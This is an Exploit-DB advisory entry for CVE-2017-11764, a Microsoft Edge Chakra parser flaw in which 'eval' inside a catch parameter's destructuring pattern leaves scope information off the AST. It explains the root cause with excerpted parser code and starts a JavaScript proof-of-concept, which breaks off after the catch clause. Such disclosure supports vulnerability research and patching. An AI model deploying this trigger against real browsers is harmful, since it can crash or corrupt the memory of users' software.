Microsoft Edge Chakra - 'Parser::ParseCatch' does not Handle 'eval'

ID EDB-ID:42765
Type exploitdb
Reporter Exploit-DB
Modified 2017-09-21T00:00:00


Microsoft Edge Chakra - 'Parser::ParseCatch' does not Handle 'eval'. CVE-2017-11764. Dos exploit for Windows platform


In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.

ParseNodePtr Parser::ParseCatch()
        pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);
        ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);

1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.


function f() {
        let i;
        function g() {

        try {
            throw 1;
        } catch ({e = eval('dd')}) {